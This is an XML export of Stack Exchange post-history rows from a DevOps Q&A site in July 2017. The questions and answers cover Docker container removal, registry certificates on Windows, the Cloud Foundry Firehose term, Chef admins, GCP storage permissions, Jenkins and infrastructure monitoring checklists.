  <row Id="4859" PostHistoryTypeId="5" PostId="1499" RevisionGUID="7b530fbd-b43b-4ef3-a805-816d6fc24ad1" CreationDate="2017-07-10T12:23:01.200" UserId="3429" Comment="added 47 characters in body" Text="I'm using ubuntu-16.04 desktop and Installed the `Docker-1.5-1` and `docker-engine-17.05.0~ce-0~ubuntu-xenial`, In which installed `openmedicus/phplist`. my aim to remove container and image as well.&#xD;&#xA;&#xD;&#xA;But issue is that, It's remove successfully but after sometime it's automatically created with diffrent container ID. even i try to remove images also but facing same issue;&#xD;&#xA;&#xD;&#xA;trying to remove images:&#xD;&#xA;&#xD;&#xA;    $ docker images | grep phplist&#xD;&#xA;    openmedicus/phplist             latest              24d3de5279cb        4 months ago        694MB&#xD;&#xA; &#xD;&#xA;    $ docker rmi openmedicus/phplist:latest --force&#xD;&#xA;    Untagged: openmedicus/phplist:latest&#xD;&#xA;    Untagged: penmedicus/phplist@sha256:6ac98b2f624eb8cd61b64c4b398650975a876224d5925175c58ff0c1b05a2593&#xD;&#xA;&#xD;&#xA;    $ docker images | grep phplist    ## Delete Sucessfully&#xD;&#xA;&#xD;&#xA;Now trying to remove container :&#xD;&#xA;&#xD;&#xA;    $ docker ps&#xD;&#xA;    b02b641560e8        24d3de5279cb             &quot;/bin/sh -c /usr/s...&quot;   2 minutes ago       Up 2 minutes        0.0.0.0:8080-&gt;80/tcp                                 &#xD;&#xA;    $ docker stop b02b641560e8&#xD;&#xA;    b02b641560e8&#xD;&#xA;&#xD;&#xA;    $ docker rm b02b641560e8 --force   # Remove Sucessfully&#xD;&#xA;    b02b641560e8&#xD;&#xA;&#xD;&#xA;Again container created automatically :&#xD;&#xA;&#xD;&#xA;    $ docker ps&#xD;&#xA;    2c78199dc40c        openmedicus/phplist      &quot;/bin/sh -c /usr/s...&quot;   29 seconds ago      Up 28 seconds       0.0.0.0:8080-&gt;80/tcp                                 phplist&#xD;&#xA;&#xD;&#xA;How to remove docker container and image permanently ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4860" PostHistoryTypeId="2" PostId="1500" RevisionGUID="45296532-23df-4576-b217-4fa0241eec90" CreationDate="2017-07-10T15:16:05.393" UserId="3451" Text="I found a Firehose definition from [Overview of the Loggregator System][1] Cloud Foundry docs.&#xD;&#xA;&#xD;&#xA;&gt; The Firehose is a WebSocket endpoint that streams all the event data&#xD;&#xA;&gt; coming from a Cloud Foundry deployment. The data stream includes logs,&#xD;&#xA;&gt; HTTP events and container metrics from all applications, and metrics&#xD;&#xA;&gt; from all Cloud Foundry system components. Logs from system components&#xD;&#xA;&gt; such as Cloud Controller are not included in the firehose and are&#xD;&#xA;&gt; typically accessed through rsyslog configuration.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Because the data coming from the Firehose may contain sensitive&#xD;&#xA;&gt; information, such as customer information in the application logs,&#xD;&#xA;&gt; only users with the correct permissions can access the Firehose.&#xD;&#xA;&#xD;&#xA;Where does this term have it's roots and why it's called that way? Is the concept the same for other Cloud offerings and platforms?&#xD;&#xA;&#xD;&#xA;It's funny when I translate this term to my native language.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.cloudfoundry.org/loggregator/architecture.html#firehose" ContentLicense="CC BY-SA 3.0" />
  <row Id="4861" PostHistoryTypeId="1" PostId="1500" RevisionGUID="45296532-23df-4576-b217-4fa0241eec90" CreationDate="2017-07-10T15:16:05.393" UserId="3451" Text="what is exactly a Firehose? Cloud term" ContentLicense="CC BY-SA 3.0" />
  <row Id="4862" PostHistoryTypeId="3" PostId="1500" RevisionGUID="45296532-23df-4576-b217-4fa0241eec90" CreationDate="2017-07-10T15:16:05.393" UserId="3451" Text="&lt;monitoring&gt;&lt;metrics&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4863" PostHistoryTypeId="2" PostId="1501" RevisionGUID="45ea107e-22d6-4084-afda-a3ad590c8977" CreationDate="2017-07-10T15:55:52.687" UserId="707" Text=" Trying to use a customer registry from a Windows 10 system - a native Docker client in PowerShell.  &#xD;&#xA;&#xD;&#xA;    PS &gt; docker --version&#xD;&#xA;&#xD;&#xA;    Docker version 17.06.0-ce, build 02c1287&#xD;&#xA;    PS &gt; docker pull REPO_URL/foo-bar:0.1&#xD;&#xA;    &#xD;&#xA;    Error response from daemon: get https://REPO_URL/v2/: x509: &#xD;&#xA;    certificate signed by unknown authority." ContentLicense="CC BY-SA 3.0" />
  <row Id="4864" PostHistoryTypeId="1" PostId="1501" RevisionGUID="45ea107e-22d6-4084-afda-a3ad590c8977" CreationDate="2017-07-10T15:55:52.687" UserId="707" Text="Configure Docker to use SSL for a private repository on Winows 10?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4865" PostHistoryTypeId="3" PostId="1501" RevisionGUID="45ea107e-22d6-4084-afda-a3ad590c8977" CreationDate="2017-07-10T15:55:52.687" UserId="707" Text="&lt;docker&gt;&lt;windows&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4866" PostHistoryTypeId="5" PostId="1501" RevisionGUID="60b5b40e-9b38-49b4-8a9e-3fa97f7cfc2b" CreationDate="2017-07-10T16:27:09.107" UserId="707" Comment="added 120 characters in body" Text=" Trying to use a customer registry from a Windows 10 system - a native Docker client in PowerShell.  &#xD;&#xA;&#xD;&#xA;    PS &gt; docker --version&#xD;&#xA;&#xD;&#xA;    Docker version 17.06.0-ce, build 02c1287&#xD;&#xA;    PS &gt; docker pull REPO_URL/foo-bar:0.1&#xD;&#xA;    &#xD;&#xA;    Error response from daemon: get https://REPO_URL/v2/: x509: &#xD;&#xA;    certificate signed by unknown authority.&#xD;&#xA;&#xD;&#xA;Importing the authority certificate to local user store via Windows tooling works for itself but has no effect here." ContentLicense="CC BY-SA 3.0" />
  <row Id="4867" PostHistoryTypeId="4" PostId="1501" RevisionGUID="60b5b40e-9b38-49b4-8a9e-3fa97f7cfc2b" CreationDate="2017-07-10T16:27:09.107" UserId="707" Comment="added 120 characters in body" Text="Configure Docker to use SSL for a private registry on Winows 10?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4868" PostHistoryTypeId="2" PostId="1502" RevisionGUID="a6cc06e6-1109-422f-b7f1-8549df4589e4" CreationDate="2017-07-10T16:42:31.583" UserId="2845" Text="The fire hose is a reference to an old Weird Al Yankovick movie, [UHF (1989)](http://www.imdb.com/title/tt0098546/). In [this movie,](https://en.wikipedia.org/wiki/UHF_(film)) George Newman, portrayed by Yankovick starts a local TV channel in the UHF band and is responsible for programming on the channel. After befriending the Station's Janitor, Stanley Spadowski (portrayed by Michael Richards) George gives the Janitor a slot to run a show of his own making. The show, entitled &quot;Stanley Spadowski's clubhouse&quot; which becomes an overnight sensation due to Spadowski's zany antics.&#xD;&#xA;&#xD;&#xA;During a gameshow segment on the show, [(video)](https://www.youtube.com/watch?v=IueMdK9I4Qg) Spadowski announces that a little boy, Joel Miller has &quot;won&quot; a contest by finding a marble in a wading pool of oatmeal and &quot;gets to drink from the firehose!&quot;&#xD;&#xA;&#xD;&#xA;[![Stanley Spadowski's Clubhouse from UHF (1989)][1]][1]&#xD;&#xA;&#xD;&#xA;An oft-repeated sentiment in IT is that trying to comprehend a vast amount of material in a short amount of time, such as is the case when starting a new job, taking a training course or seminar on a technological subject or learning about a new product or device is like &quot;attempting to drink from a firehose&quot; - it is nearly impossible to consume all of such a large volume of information that is directed at you with such a rapid pace - a direct reference to the above scene.&#xD;&#xA;&#xD;&#xA;It appears that in an attempt at humor, Cloudfoundry has chosen to call their Websocket &quot;The Firehose&quot; because it &quot;streams all the event data&quot; (which they apparently regard as voluminous) most likely in reference to this sentiment/saying and scene.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/wxZNF.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="4869" PostHistoryTypeId="2" PostId="1503" RevisionGUID="068eda5d-bf16-4f5c-8a9c-88a6743d2c3a" CreationDate="2017-07-10T17:00:39.657" UserId="2370" Text="The answer, no.&#xD;&#xA;&#xD;&#xA;The best ways to rollback would be to use `git revert`, which then adds the rollback to history (which is a good thing), and then push that like any other commit. The other would be to use the git hash of the commit you'd like to rollback to and build it with the CircleCI API.&#xD;&#xA;&#xD;&#xA;Right now, you could also attempt to rebuild and older build via the UI but this isn't suggest for deploys &amp; Workflows. Too many variables for safe, reproducible deploys.&#xD;&#xA;&#xD;&#xA;\- Ricardo N Feliciano  &#xD;&#xA;Developer Evangelist, CircleCI" ContentLicense="CC BY-SA 3.0" />
  <row Id="4870" PostHistoryTypeId="2" PostId="1504" RevisionGUID="d173c968-7f4c-4a85-ac6d-58a0681c5e35" CreationDate="2017-07-10T17:16:44.260" UserId="3451" Text="When I feed a search engine with &quot;DBA tasks responsibilities&quot; lots of hits like &quot;What does a DBA do all day?&quot; and even official Oracle manual entries. &#xD;&#xA;&#xD;&#xA;With [modern automation][1] a lot of those tasks don't exist anymore and as a DBaaS provider we sometimes even don't know our customers and his projects.&#xD;&#xA;&#xD;&#xA;So what's the tasks of a Cloud DB operator?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/cloudfoundry/cf-mysql-release" ContentLicense="CC BY-SA 3.0" />
  <row Id="4871" PostHistoryTypeId="1" PostId="1504" RevisionGUID="d173c968-7f4c-4a85-ac6d-58a0681c5e35" CreationDate="2017-07-10T17:16:44.260" UserId="3451" Text="Cloud DB operator responsibilities / common tasks" ContentLicense="CC BY-SA 3.0" />
  <row Id="4872" PostHistoryTypeId="3" PostId="1504" RevisionGUID="d173c968-7f4c-4a85-ac6d-58a0681c5e35" CreationDate="2017-07-10T17:16:44.260" UserId="3451" Text="&lt;automation&gt;&lt;databases&gt;&lt;job-role&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4873" PostHistoryTypeId="2" PostId="1505" RevisionGUID="9a39077a-5780-44b8-b3f9-97c31117bd7b" CreationDate="2017-07-10T17:49:17.720" UserId="739" Text="I've read over the chef docs for a while now and I can't seem to find anything that says what an admin does in chef.  I can [do all sorts of things with making people admins](https://docs.chef.io/server_users.html), but there's no indication of what this does for me.  Is there a clear answer somewhere?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4874" PostHistoryTypeId="1" PostId="1505" RevisionGUID="9a39077a-5780-44b8-b3f9-97c31117bd7b" CreationDate="2017-07-10T17:49:17.720" UserId="739" Text="What is special about the admin in chef?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4875" PostHistoryTypeId="3" PostId="1505" RevisionGUID="9a39077a-5780-44b8-b3f9-97c31117bd7b" CreationDate="2017-07-10T17:49:17.720" UserId="739" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4876" PostHistoryTypeId="2" PostId="1506" RevisionGUID="468ed087-bb7c-4ebf-bed4-101274bd33f3" CreationDate="2017-07-10T18:41:12.457" UserId="488" Text="Consul is for service location; a service can use it to find another service so long as it knows the name of the service it wants to find. Consul is *not* for dependency tracking, and provides no insights into what services are using what other services (in fact it cannot, because service location does not have a way to indicate what service is doing the requesting, only what service is being requested)." ContentLicense="CC BY-SA 3.0" />
  <row Id="4877" PostHistoryTypeId="2" PostId="1507" RevisionGUID="92b8ccbe-3d63-4492-8ac2-1fa35ed17ecc" CreationDate="2017-07-10T18:58:02.483" UserId="488" Text="A [Chef admin][1] can create, modify and delete other users and clients. Basically an admin can manage access to Chef.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/server_orgs.html#admins" ContentLicense="CC BY-SA 3.0" />
  <row Id="4878" PostHistoryTypeId="2" PostId="1508" RevisionGUID="06edfa71-c088-44e9-bdab-44777ac37264" CreationDate="2017-07-10T20:36:14.527" UserId="3453" Text="I've recently hooked our CI servers up to build docker images upon git commit. &#xD;&#xA;&#xD;&#xA;We have about 8 different containers that get built, each with their own language / frameworks. Some are node and have a package.json, others are python services that contain no semantic version information. &#xD;&#xA;&#xD;&#xA;My question is not about how to create tags, its about creating the values for the tag.&#xD;&#xA;&#xD;&#xA;How do i ensure each tag has a unique semantic version number for the specific images? Who should be the authority on tracking / incrementing a build version?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4879" PostHistoryTypeId="1" PostId="1508" RevisionGUID="06edfa71-c088-44e9-bdab-44777ac37264" CreationDate="2017-07-10T20:36:14.527" UserId="3453" Text="What are best practicers for incrementing Minor version for docker tags?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4880" PostHistoryTypeId="3" PostId="1508" RevisionGUID="06edfa71-c088-44e9-bdab-44777ac37264" CreationDate="2017-07-10T20:36:14.527" UserId="3453" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;gocd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4881" PostHistoryTypeId="2" PostId="1509" RevisionGUID="b67f9179-8990-4d17-a391-fef8d66561c8" CreationDate="2017-07-10T20:37:23.493" UserId="3175" Text="I always saw a DBA as someone who fits in between developers and operations when it comes to database management.&#xD;&#xA;&#xD;&#xA;On the one hand, they often take care of backups, clustering, replication, actual binary installation, file system management, etc.&#xD;&#xA;&#xD;&#xA;On the other, they take care of actual DB schema, do performance or query optimization, advise developers on the best way to do their lay out the relational schemas, etc.&#xD;&#xA;&#xD;&#xA;In theory, the first job can be done by a system administrator.  The second job can be done by a senior developer or architect.&#xD;&#xA;&#xD;&#xA;In practice, it often makes sense to have someone who's well versed in all parts of running a database.&#xD;&#xA;&#xD;&#xA;Provisioning the instance is only a small part of what they do.  Having your instance hosted in the cloud doesn't remove the need to have someone manage your schema or optimize performance.  A cloud RDS with default settings likely won't be aware that key_buffer_size value needs to be set to 16M or some of your application's features won't run." ContentLicense="CC BY-SA 3.0" />
  <row Id="4882" PostHistoryTypeId="5" PostId="1509" RevisionGUID="55eec4c8-66b5-4286-99ac-215a64510c70" CreationDate="2017-07-10T21:34:30.947" UserId="3175" Comment="added 28 characters in body" Text="I always saw a DBA as someone who fits in between developers and operations when it comes to database management.&#xD;&#xA;&#xD;&#xA;On the one hand, they often take care of backups, clustering, replication, actual binary installation, file system management, etc.&#xD;&#xA;&#xD;&#xA;On the other, they also take care of relational DB schema, do performance or query optimization, and advise developers on the best way to lay out their application storage and configuration schemas.&#xD;&#xA;&#xD;&#xA;In theory, the first job can be done by a system administrator.  The second job can be done by a senior developer or architect.&#xD;&#xA;&#xD;&#xA;In practice, it often makes sense to have someone who's well versed in all parts of running a database.&#xD;&#xA;&#xD;&#xA;Provisioning the instance is only a small part of what they do.  Having your instance hosted in the cloud doesn't remove the need to have someone manage your schema or optimize performance.  A cloud RDS with default settings likely won't be aware that key_buffer_size value needs to be set to 16M or some of your application's features won't run." ContentLicense="CC BY-SA 3.0" />
  <row Id="4886" PostHistoryTypeId="2" PostId="1511" RevisionGUID="0b7b50c6-704b-49fa-8fe5-475d9f56c0d8" CreationDate="2017-07-11T10:35:52.533" UserId="707" Text="The Eclipse plugin &quot;Docker tooling&quot; seems to expect the installation of Docker Machine, or a network connection.&#xD;&#xA;&#xD;&#xA;But, on Windows 10 things seem different from what this plugin expects so I can't browse for the required executables.&#xD;&#xA;Also, how could I find out the local network URL? docker info does not reveal this.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/mpREl.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="4887" PostHistoryTypeId="1" PostId="1511" RevisionGUID="0b7b50c6-704b-49fa-8fe5-475d9f56c0d8" CreationDate="2017-07-11T10:35:52.533" UserId="707" Text="How to configure Docker tooling on Eclipse?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4888" PostHistoryTypeId="3" PostId="1511" RevisionGUID="0b7b50c6-704b-49fa-8fe5-475d9f56c0d8" CreationDate="2017-07-11T10:35:52.533" UserId="707" Text="&lt;docker&gt;&lt;windows&gt;&lt;eclipse&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4889" PostHistoryTypeId="2" PostId="1512" RevisionGUID="01b18738-182b-4a8d-b712-d9732d48b76a" CreationDate="2017-07-11T12:20:03.700" UserId="3462" Text="I created a storage bucket B and I granted a user as &quot;Storage Object Viewer&quot; on it.&#xD;&#xA;User can view bucket content with a direct link (e.g. https://console.cloud.google.com/storage/browser/B/?project=azerty).&#xD;&#xA;&#xD;&#xA;Is it possible to allow a user to list all its buckets? It would be more user friendly to see them in Storage Browser.&#xD;&#xA;&#xD;&#xA;For instance, on AWS S3 there is `s3:ListAllMyBuckets`." ContentLicense="CC BY-SA 3.0" />
  <row Id="4890" PostHistoryTypeId="1" PostId="1512" RevisionGUID="01b18738-182b-4a8d-b712-d9732d48b76a" CreationDate="2017-07-11T12:20:03.700" UserId="3462" Text="GCP Storage counterpart to AWS S3 ListAllMyBuckets" ContentLicense="CC BY-SA 3.0" />
  <row Id="4891" PostHistoryTypeId="3" PostId="1512" RevisionGUID="01b18738-182b-4a8d-b712-d9732d48b76a" CreationDate="2017-07-11T12:20:03.700" UserId="3462" Text="&lt;google-cloud-platform&gt;&lt;google-cloud-storage&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4892" PostHistoryTypeId="2" PostId="1513" RevisionGUID="a715d168-0dc2-47fd-b606-f5b203525ad2" CreationDate="2017-07-11T12:25:29.397" UserId="2689" Text="Any one facing the same problem and using pipeline project, set JENKINS_NODE_COOKIE instead of BUILD_ID.&#xD;&#xA;&#xD;&#xA;Dont waste your time setting HUDSON_COOKIE, HUDSON_SERVER_COOKIE, JENKINS_COOKIE or JENKINS_SERVER_COOKIE. None of them work for pipeline project.&#xD;&#xA;&#xD;&#xA;Refer to https://issues.jenkins-ci.org/browse/JENKINS-28182 for more details." ContentLicense="CC BY-SA 3.0" />
  <row Id="4893" PostHistoryTypeId="5" PostId="1512" RevisionGUID="3e4c6109-866c-4e0f-be99-133ff3c6bc6c" CreationDate="2017-07-11T14:17:50.860" UserId="3462" Comment="fixed grammar" Text="I created a storage bucket B and I granted a user as &quot;Storage Object Viewer&quot; on it.&#xD;&#xA;The user can view bucket content with a direct link (e.g. https://console.cloud.google.com/storage/browser/B/?project=azerty).&#xD;&#xA;&#xD;&#xA;Is it possible to allow a user to list all its buckets? It would be more user friendly to see them in Storage Browser.&#xD;&#xA;&#xD;&#xA;For instance, on AWS S3 there is `s3:ListAllMyBuckets`." ContentLicense="CC BY-SA 3.0" />
  <row Id="4894" PostHistoryTypeId="2" PostId="1514" RevisionGUID="12f5c0ea-b493-4c0d-ba72-12611e78d509" CreationDate="2017-07-11T15:03:09.683" UserId="707" Text="The [official Docker documentation][1] says:&#xD;&#xA;&#xD;&#xA;&gt; Docker recognizes certs stored under **Trust Root Certification&#xD;&#xA;&gt; Authorities** or **Intermediate Certification Authorities**.&#xD;&#xA;&#xD;&#xA;That is, you can proceed [as the following][2]:&#xD;&#xA;&#xD;&#xA; - Start &gt; &quot;Manage Computer Certificates&quot; (also available in the control&#xD;&#xA;   panel) &#xD;&#xA; - Right-click on &quot;Trusted Root Certification Authoritites&quot; &gt;&#xD;&#xA;   &quot;All tasks&quot; &gt; &quot;Import&quot; &#xD;&#xA; - Browse to the crt file and then keep pressing &quot;Next&quot; to complete the wizard&#xD;&#xA; - Restart Docker for Windows&#xD;&#xA;&#xD;&#xA;In my case, the catch was that I imported the certificate via the context menu, but that it went to another folder where Docker could not access it. The certificate store behaves however very much like the normal Windows Explorer tree folder, so I had just to copy the certificate over to the supported category, and after Docker restart it worked.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/docker-for-windows/faqs/#are-symlinks-supported&#xD;&#xA;  [2]: https://github.com/moby/moby/issues/21189#issuecomment-288694477" ContentLicense="CC BY-SA 3.0" />
  <row Id="4895" PostHistoryTypeId="5" PostId="1514" RevisionGUID="f13119d7-1d49-4fab-8a67-26268042c590" CreationDate="2017-07-11T15:17:12.990" UserId="707" Comment="added 5 characters in body" Text="The [official Docker documentation][1] says:&#xD;&#xA;&#xD;&#xA;&gt; Docker recognizes certs stored under **Trust Root Certification&#xD;&#xA;&gt; Authorities** or **Intermediate Certification Authorities**.&#xD;&#xA;&#xD;&#xA;That is, you can proceed [as the following][2]:&#xD;&#xA;&#xD;&#xA; - Start &gt; &quot;Manage Computer Certificates&quot; (also available in the control&#xD;&#xA;   panel) &#xD;&#xA; - Right-click on &quot;Trusted Root Certification Authoritites&quot; &gt;&#xD;&#xA;   &quot;All tasks&quot; &gt; &quot;Import&quot; &#xD;&#xA; - Browse to the crt file and then keep pressing &quot;Next&quot; to complete the wizard&#xD;&#xA; - Restart Docker for Windows&#xD;&#xA;&#xD;&#xA;In my case, the catch was that I imported the certificate via the context menu, and therefore it went to another folder where Docker could not access it. The certificate store behaves however very much like the normal Windows Explorer tree folder, so I had just to copy the certificate over to the supported category, and after Docker restart it worked.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/docker-for-windows/faqs/#are-symlinks-supported&#xD;&#xA;  [2]: https://github.com/moby/moby/issues/21189#issuecomment-288694477" ContentLicense="CC BY-SA 3.0" />
  <row Id="4896" PostHistoryTypeId="4" PostId="1501" RevisionGUID="ce21288f-5a6a-4910-9213-0b59215afb24" CreationDate="2017-07-11T15:52:51.273" UserId="47" Comment="fixed typo in title" Text="Configure Docker to use SSL for a private registry on Windows 10?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4897" PostHistoryTypeId="2" PostId="1515" RevisionGUID="fcb8d660-c2dc-4e4c-baae-4d7e20e8c32c" CreationDate="2017-07-11T15:59:46.573" UserId="2956" Text="From AWS [documentation][1]: &quot;The `ListAllMyBuckets` operation returns a list of all buckets **owned** by the sender of the request.&quot;. Owned, not having some access to it, and IIRC you can't see all the buckets you have read access in AWS Console either.&#xD;&#xA;&#xD;&#xA;`gsutil -p azerty ls gs://` would show all buckets which user have List access to.&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonS3/latest/API/SOAPListAllMyBuckets.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4898" PostHistoryTypeId="2" PostId="1516" RevisionGUID="3aad5c51-5073-4a53-b4ae-c82fc7310957" CreationDate="2017-07-11T16:02:24.193" UserId="3464" Text="We are building a (Zabbix-based) monitoring system for our applications; hovewer, I'm having difficulties in defining what to monitor?&#xD;&#xA;&#xD;&#xA;I have so far come up with the following general categories:&#xD;&#xA;&#xD;&#xA;* **hardware data**: cpu, ram, swap, etc.&#xD;&#xA;* **middleware data**: perfomance/health for MySQL instantces, Tomcat instances, JVMs, etc.&#xD;&#xA;* **logical** or **application** data: the current status/health of the system, e.g. number of active users, page request, etc.&#xD;&#xA;* **kpi data**: data for business, e.g. user registration over time&#xD;&#xA;* **dashboard**: quick overview of the system (e.g. microservices are running or not)&#xD;&#xA;&#xD;&#xA;Are there any other fundamental categories for to monitor? Or is there another category system to use?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4899" PostHistoryTypeId="1" PostId="1516" RevisionGUID="3aad5c51-5073-4a53-b4ae-c82fc7310957" CreationDate="2017-07-11T16:02:24.193" UserId="3464" Text="Monitoring checklist" ContentLicense="CC BY-SA 3.0" />
  <row Id="4900" PostHistoryTypeId="3" PostId="1516" RevisionGUID="3aad5c51-5073-4a53-b4ae-c82fc7310957" CreationDate="2017-07-11T16:02:24.193" UserId="3464" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4901" PostHistoryTypeId="2" PostId="1517" RevisionGUID="cc22a307-6c1d-4ba1-a8c8-dc06654a8f13" CreationDate="2017-07-11T18:29:28.830" UserId="3466" Text="Here are my requirements and I go back-and-forth on how to achieve them&#xD;&#xA;&#xD;&#xA; - Must build Java spring-boot apps&#xD;&#xA; - Artifacts must be released to artifactory repository&#xD;&#xA; - Docker image to be built directly relating to the artifact `group/artifactId/version`&#xD;&#xA; - Docker image to be deployed to AWS ACR&#xD;&#xA; - Container deployment via cloud formation&#xD;&#xA; - Maintain 2 branches in a git repo: `dev` and `master`. `dev` releases to our development environment and `master` is for prod. (I have tried to explain that this approach made sense when code was app (php) but not when you have a release artifact)&#xD;&#xA; - All branches off `dev` must build and test independently but NOT release even snapshots (doesn't apply to master as no one should be working off master)&#xD;&#xA; - **best part** `dev` and `prod` builds must be done under entirely different AWS credentials and accounts into totally different VPCs&#xD;&#xA;&#xD;&#xA;Given these requirements I believe need a `multi-configuration` pipeline - one for the {prod/master} and {development/dev} arrangement to successfully capture the credential and deployment differences and point them at different branches. What I can't seem to do is get the `dev` configuration to ALSO build the branches from dev - I have no pattern I can match - the branches don't look like `dev-.*` - they are mapped directly to Jira tickets.&#xD;&#xA;&#xD;&#xA;Can I even do such a thing? I feel like this last part is where my multi-config is breaking down" ContentLicense="CC BY-SA 3.0" />
  <row Id="4902" PostHistoryTypeId="1" PostId="1517" RevisionGUID="cc22a307-6c1d-4ba1-a8c8-dc06654a8f13" CreationDate="2017-07-11T18:29:28.830" UserId="3466" Text="Jenkins configuration to support multi-config multi-branch CI" ContentLicense="CC BY-SA 3.0" />
  <row Id="4903" PostHistoryTypeId="3" PostId="1517" RevisionGUID="cc22a307-6c1d-4ba1-a8c8-dc06654a8f13" CreationDate="2017-07-11T18:29:28.830" UserId="3466" Text="&lt;jenkins&gt;&lt;docker&gt;&lt;amazon-web-services&gt;&lt;git&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4905" PostHistoryTypeId="2" PostId="1519" RevisionGUID="b2ace857-ce5c-4a7a-b281-2aade2f0df3b" CreationDate="2017-07-11T19:23:43.513" UserId="488" Text="It depends a lot on what your infrastructure situation is. If you're doing auto-scaling, the health of individual instances is mostly irrelevant. The important metrics are total cost, and cost per unit of work (e.g. per request). Personally I don't like to monitor individual instance state if I can possibly avoid it - I try to focus more on broader service-level and application-level metrics:&#xD;&#xA;&#xD;&#xA; - Overall per-service uptime (% of the time that at least one instance is healthy and able to respond to new requests immediately)&#xD;&#xA; - Overall end-user uptime (% of the time that the user perceives the product as being available - if some core service goes down, this might be user-facing downtime, but a lesser-used service or background worker might not be)&#xD;&#xA; - 95th percentile response time of each service&#xD;&#xA; - Message queue length and net queue growth per queue&#xD;&#xA; - Consumer count per queue&#xD;&#xA; - Average time to completion per queue (not just time in queue, but time from being queued to completed work for the message)&#xD;&#xA; - Error rate for each service&#xD;&#xA; - Cost per unit of work for each service&#xD;&#xA; - For each server role, what is the ratio of the average CPU utilization to average memory utilization? This is useful for determining if we're scaling poorly - if CPU use is 70% but memory is 20%, we're giving instances too much memory, and vice-versa.&#xD;&#xA; - Same for peak CPU/memory utilization&#xD;&#xA; - Time to delivery for deployments&#xD;&#xA;&#xD;&#xA;Some of your listed metrics like user registration over time, to me, don't belong in an infrastructure monitoring system like Zabbix. What is anyone watching Zabbing going to do about a 10% drop in registrations? Nothing. This is business reporting data that should be exposed to whoever wants it via a reporting DB, possibly rendered in a nice dashboard because pointy-haired bosses love dashboards." ContentLicense="CC BY-SA 3.0" />
  <row Id="4906" PostHistoryTypeId="2" PostId="1520" RevisionGUID="987242be-3296-4738-9189-df65f54b0e64" CreationDate="2017-07-11T19:23:53.243" UserId="2845" Text="For any given node, there are 4 basic resources with the following items to monitor:&#xD;&#xA;&#xD;&#xA; - CPU&#xD;&#xA;   - Total&#xD;&#xA;   - Per-core&#xD;&#xA; - Storage&#xD;&#xA;   - Free space&#xD;&#xA;   - Free inodes&#xD;&#xA;   - Throughput&#xD;&#xA;   - Backups&#xD;&#xA; - Memory&#xD;&#xA;   - Free&#xD;&#xA;   - Swap&#xD;&#xA;   - Buffers&#xD;&#xA;   - Cache&#xD;&#xA; - Network&#xD;&#xA;   - Latency&#xD;&#xA;   - Throughput&#xD;&#xA;   - Jitter&#xD;&#xA;&#xD;&#xA;These four basic resources will power your application or service at every layer of your application. This will be architected into up to 5 layers depending on your environment and you will want to monitor them at every layer. This might look like:&#xD;&#xA;&#xD;&#xA;[![Application Stack][1]][1]&#xD;&#xA;&#xD;&#xA;This can change depending on how your environment is architected. For example, if you run all of your data off of NFS mounts, the Storage layer would sit beside compute instead of behind it. If you have a C++ based application that workstations connect to, you might not have a front-end layer. If your application uses flat files, you might not have a database layer. If you do not use virtual machines or containers and use local storage, you might not have a compute and storage layer. You will want to monitor the above 4 basic resources at every layer.&#xD;&#xA;&#xD;&#xA;This represents the basic monitoring that can be given by your vendors, software and hardware. Covering these four basic resources at every layer should be your first goal. Once 100% coverage is achieved, You can additionally build hooks into your application to report additional health statuses, but by their nature, these will typically be built as a reaction to outages and you would have to work with your internal developers to build these kinds of hooks.&#xD;&#xA;&#xD;&#xA;Monitoring these 4 basic resources should catch probably 80% of issues that cause outages however, and then you can start working on the remaining 20%.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/5Reb1.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="4907" PostHistoryTypeId="4" PostId="1516" RevisionGUID="5c61afe7-836a-41de-a578-97eb9cd2b6f1" CreationDate="2017-07-11T19:58:04.623" UserId="2845" Comment="Better title" Text="Monitoring checklist - What things should I be monitoring?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4908" PostHistoryTypeId="24" PostId="1516" RevisionGUID="5c61afe7-836a-41de-a578-97eb9cd2b6f1" CreationDate="2017-07-11T19:58:04.623" Comment="Proposed by 2845 approved by -1 edit id of 378" ContentLicense="CC BY-SA 3.0" />
